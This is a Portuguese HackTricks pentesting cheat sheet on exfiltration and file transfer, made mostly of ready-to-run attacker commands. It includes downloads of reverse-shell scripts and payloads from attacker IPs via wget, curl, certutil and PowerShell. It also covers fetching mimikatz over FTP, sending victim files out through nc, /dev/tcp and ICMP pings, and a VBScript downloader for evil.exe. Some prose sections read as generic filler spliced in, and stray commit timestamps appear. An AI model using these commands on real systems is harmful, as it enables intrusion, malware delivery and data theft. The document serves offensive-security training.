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# Exfiltração
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< details >
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< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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Outras maneiras de apoiar o HackTricks:
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* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
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* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
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< / details >
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**Grupo de Segurança Try Hard**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
***
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## Domínios comumente permitidos para exfiltrar informações
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Verifique [https://lots-project.com/ ](https://lots-project.com/ ) para encontrar domínios comumente permitidos que podem ser abusados
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## Copiar e Colar Base64
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**Linux**
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```bash
base64 -w0 < file > #Encode file
base64 -d file #Decode file
```
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**Windows**
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```
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certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
```
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## HTTP
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**Linux**
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```bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
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**Windows**
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```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
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### Upload de arquivos
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* [**SimpleHttpServerWithFileUploads** ](https://gist.github.com/UniIsland/3346170 )
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* [**SimpleHttpServer printing GET and POSTs (also headers)** ](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149 )
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* Módulo Python [uploadserver ](https://pypi.org/project/uploadserver/ ):
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```bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
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# With basic auth:
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# python3 -m uploadserver --basic-auth hello:world
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# Send a file
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curl -X POST http://HOST/upload -H -F 'files=@file.txt'
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# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
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### **Servidor HTTPS**
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```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
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# https://localhost:443
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### PYTHON 2
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import BaseHTTPServer, SimpleHTTPServer
import ssl
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httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
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###
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### PYTHON3
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from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
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###
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### USING FLASK
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from flask import Flask, redirect, request
from urllib.parse import quote
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app = Flask(__name__)
@app .route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
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###
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```
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## FTP
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### Servidor FTP (python)
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```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
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### Servidor FTP (NodeJS)
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```
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sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
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### Servidor FTP (pure-ftp)
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```bash
apt-get update & & apt-get install pure-ftp
```
```bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
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### Cliente **Windows**
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```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt
```
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## SMB
Kali como servidor
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```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
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Ou crie um compartilhamento smb **usando samba** :
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```bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
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comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
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#Start samba
service smbd restart
```
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# Exfiltração de Dados do Windows
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## Introdução
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Nesta seção, discutiremos várias técnicas comuns para exfiltrar dados de sistemas Windows comprometidos.
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## Técnicas de Exfiltração
### Utilizando Protocolos de Rede
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Uma maneira comum de exfiltrar dados é através do uso de protocolos de rede, como HTTP, DNS ou até mesmo ICMP. Os dados podem ser codificados e enviados para um servidor controlado pelo atacante.
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### Armazenamento em Nuvem
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O armazenamento em nuvem também pode ser uma forma eficaz de exfiltrar dados. Os arquivos podem ser enviados para contas de armazenamento em nuvem, como Dropbox ou Google Drive, e posteriormente baixados pelo atacante.
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### Uso de Túneis Criptografados
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Túneis criptografados, como VPNs ou proxies, podem ser utilizados para enviar dados de forma segura para servidores remotos controlados pelo atacante.
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### Esteganografia
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A esteganografia é uma técnica que envolve ocultar dados dentro de arquivos de mídia, como imagens ou vídeos, para exfiltrá-los sem chamar a atenção.
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## Conclusão
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Existem várias maneiras de exfiltrar dados de sistemas Windows comprometidos, e os atacantes geralmente utilizam uma combinação de técnicas para garantir o sucesso da operação. É crucial que os profissionais de segurança estejam cientes dessas técnicas para proteger adequadamente os sistemas contra tais ataques.
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```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
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## SCP
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O atacante precisa ter o SSHd em execução.
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```bash
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scp < username > @< Attacker_IP > :< directory > /< filename >
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```
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## SSHFS
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Se o alvo tiver SSH, o atacante pode montar um diretório do alvo para o atacante.
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```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions < Target username > @< Target IP address > :< Full path to folder > / /mnt/sshfs/
```
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## NC
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```bash
nc -lvnp 4444 > new_file
nc -vn < IP > 4444 < exfil_file
```
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## /dev/tcp
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### Baixar arquivo da vítima
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```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
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### Enviar arquivo para a vítima
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```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat < & 6 > file.txt
```
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A seguir estão algumas técnicas comuns de exfiltração de dados usando o protocolo ICMP:
- **Ping Tunneling**: Os dados são enviados em pacotes ICMP Echo Request e as respostas ICMP Echo Reply são usadas para recuperar os dados.
- **Covert Channel**: Os dados são ocultados nos campos de cabeçalho ICMP para evitar detecção.
- **ICMP Tunneling**: Os dados são encapsulados em pacotes ICMP para exfiltração.
- **ICMP Time Exceeded Messages**: Os dados são ocultados nos campos de mensagens ICMP Time Exceeded para exfiltração.
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Essas técnicas podem ser eficazes para exfiltrar dados de redes restritas, pois o tráfego ICMP é frequentemente permitido em muitos ambientes.
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```bash
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# To exfiltrate the content of a file via pings you can do:
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xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line < IP attacker > ; done
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#This will 4bytes per ping packet (you could probably increase this until 16)
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```
```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
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if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")
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sniff(iface="tun0", prn=process_packet)
```
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## **SMTP**
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Se você pode enviar dados para um servidor SMTP, você pode criar um SMTP para receber os dados com python:
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```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
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## TFTP
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Por padrão no XP e 2003 (em outros sistemas, precisa ser adicionado explicitamente durante a instalação)
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No Kali, **inicie o servidor TFTP** :
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```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
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**Servidor TFTP em python:**
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```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p < PORT > < IFACE > < FOLDER >
```
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No **alvo** , conecte-se ao servidor Kali:
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```bash
tftp -i < KALI-IP > get nc.exe
```
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## PHP
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Baixe um arquivo com um PHP oneliner:
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```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?> " > down2.php
```
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## VBScript
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### Overview
VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters.
### Exfiltration Techniques
#### File Transfer
VBScript can be used to read data from files on the compromised system and transfer it to an external server using protocols such as HTTP or FTP.
#### Email
VBScript can also be used to send emails with exfiltrated data as attachments or within the email body.
#### DNS
VBScript can leverage DNS requests to exfiltrate data by encoding it within subdomains or query strings.
### Detection
Detection of VBScript exfiltration techniques can be challenging due to its legitimate use in Windows environments. Monitoring for suspicious network traffic, file access patterns, and email activity can help in detecting potential exfiltration attempts.
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```bash
Attacker> python -m SimpleHTTPServer 80
```
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**Vítima**
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```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```
```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
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## Debug.exe
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O programa `debug.exe` não só permite a inspeção de binários, mas também tem a **capacidade de reconstruí-los a partir de hex** . Isso significa que, fornecendo um hex de um binário, o `debug.exe` pode gerar o arquivo binário. No entanto, é importante observar que o debug.exe tem uma **limitação de montagem de arquivos de até 64 kb de tamanho** .
```bash
# Reduce the size
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upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
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Em seguida, copie e cole o texto no windows-shell e um arquivo chamado nc.exe será criado.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html ](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html )
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## DNS
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* [https://github.com/62726164/dns-exfil ](https://github.com/62726164/dns-exfil )
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**Try Hard Security Group**
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< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
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{% embed url="https://discord.gg/tryhardsecurity" %}
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< details >
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< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-12-30 22:28:51 +00:00
2024-02-05 20:17:02 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-09 13:28:56 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2024-02-07 05:33:07 +00:00
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